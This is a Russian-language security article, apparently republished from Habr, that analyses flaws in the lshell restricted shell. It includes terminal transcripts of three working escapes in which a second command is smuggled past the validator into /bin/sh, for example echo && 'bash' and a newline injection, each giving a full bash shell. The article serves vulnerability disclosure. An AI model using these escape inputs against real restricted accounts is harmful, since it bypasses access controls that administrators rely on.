- PVSM.RU - https://www.pvsm.ru -
lshell — это оболочка, которая ограничивает команды и пути файловой системы, доступные пользователю. Её прочат как альтернативу сложной настройки chroot:
и так далее, имеется множество источников, предлагающих её к использованию.
Приложение доступно в репозиториях Ubuntu, Debian и EPEL.
При беглом осмотре заметок о lshell по конфигурационным файлам можно заметить, что часть ограничений, вводимых lshell, служат для упрощения парсинга команд, а не для усиления безопасности. Например — запрет использования точки с запятой и сабшеллов. Есть смысл присмотреться, как этот парсинг реализован.
При осмотре исходного кода становится ясно, что выделение запускаемой команды и её аргументов производится библиотекой [4], которая предназначена для парсинга команд простых CLI и не разбирает корректно сложный синтаксис шелл-команд. При этом, не взирая на предупреждение в документации [5], после простой валидации команда передаётся шеллу /bin/sh [6]. Валидация заслуживает отдельного внимания и строится на предположениях, что:
Нигде реального разбора синтаксиса нет, поэтому это далеко не все допущения, принятые в проверке.
Имеются следующие сценарии для побега из такого ограниченного шелла.
vladislav@dt1:~$ getent passwd testuser testuser:x:1002:1003:,,,:/home/testuser:/usr/bin/lshell vladislav@dt1:~$ su - testuser Пароль: You are in a limited shell. Type '?' or 'help' to get the list of allowed commands testuser:~$ ? cd clear echo exit help history ll lpath ls lsudo testuser:~$ ls examples.desktop testuser:~$ which bash *** forbidden command: which testuser:~$ ls'usb' Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 006: ID 046d:c05a Logitech, Inc. M90/M100 Optical Mouse Bus 001 Device 002: ID 046d:c31c Logitech, Inc. Keyboard K120 Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub testuser:~$ echo && 'bash' testuser@dt1:~$ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin testuser@dt1:~$ reboot --help reboot [OPTIONS...] [ARG] Reboot the system. --help Show this help --halt Halt the machine -p --poweroff Switch off the machine --reboot Reboot the machine -f --force Force immediate halt/power-off/reboot -w --wtmp-only Don't halt/power-off/reboot, just write wtmp record -d --no-wtmp Don't write wtmp record --no-wall Don't send wall message before halt/power-off/reboot
GH Issue [8]
vladislav@dt1:~$ su - testuser Пароль: You are in a limited shell. Type '?' or 'help' to get the list of allowed commands testuser:~$ ? cd clear echo exit help history ll lpath ls lsudo testuser:~$ echo'/1.sh' testuser@dt1:~$ cat echo/1.sh #!/bin/bash /bin/bash testuser@dt1:~$
GH Issue [9]
vladislav@dt1:~$ getent passwd testuser testuser:x:1001:1002:,,,:/home/testuser:/usr/bin/lshell vladislav@dt1:~$ su - testuser Пароль: You are in a limited shell. Type '?' or 'help' to get the list of allowed commands testuser:~$ ? cd clear echo exit help history ll lpath ls lsudo testuser:~$ bash *** forbidden command: bash testuser:~$ echo<CTRL+V><CTRL+J> bash testuser@dt1:~$ which bash /bin/bash
GH Issue [10]
Данное программное решение слишком далеко отстоит от состояния, в котором его можно безопасно использовать. Поэтому лучшим выходом будет прекращение его эксплуатации.
Автор: YourChief
Источник [11]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/sistemnoe-administrirovanie/174964
Ссылки в тексте:
[1] Хабр, блог компании centos-admin: https://habrahabr.ru/company/centosadmin/blog/212833/
[2] aboutubuntu.ru: http://aboutubuntu.ru/content/chroot-vs-lshell-and-mysecureshell.html
[3] techadmin.net: http://tecadmin.net/how-to-limit-user-access-with-lshell-limited-shell/
[4] выделение запускаемой команды и её аргументов производится библиотекой: https://hg.python.org/cpython/file/2.7/Lib/cmd.py#l176
[5] предупреждение в документации: https://docs.python.org/2/library/subprocess.html#subprocess.Popen
[6] команда передаётся шеллу /bin/sh: https://github.com/ghantoos/lshell/blob/af8a24b8c009813b738248c8a7f7a2c85f7ffab1/lshell/utils.py#L89-L92
[7] внутри кавычек ничего проверять не нужно: https://github.com/ghantoos/lshell/blob/af8a24b8c009813b738248c8a7f7a2c85f7ffab1/lshell/sec.py#L177-L179
[8] GH Issue: https://github.com/ghantoos/lshell/issues/147
[9] GH Issue: https://github.com/ghantoos/lshell/issues/148
[10] GH Issue: https://github.com/ghantoos/lshell/issues/149
[11] Источник: https://habrahabr.ru/post/308028/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best
Нажмите здесь для печати.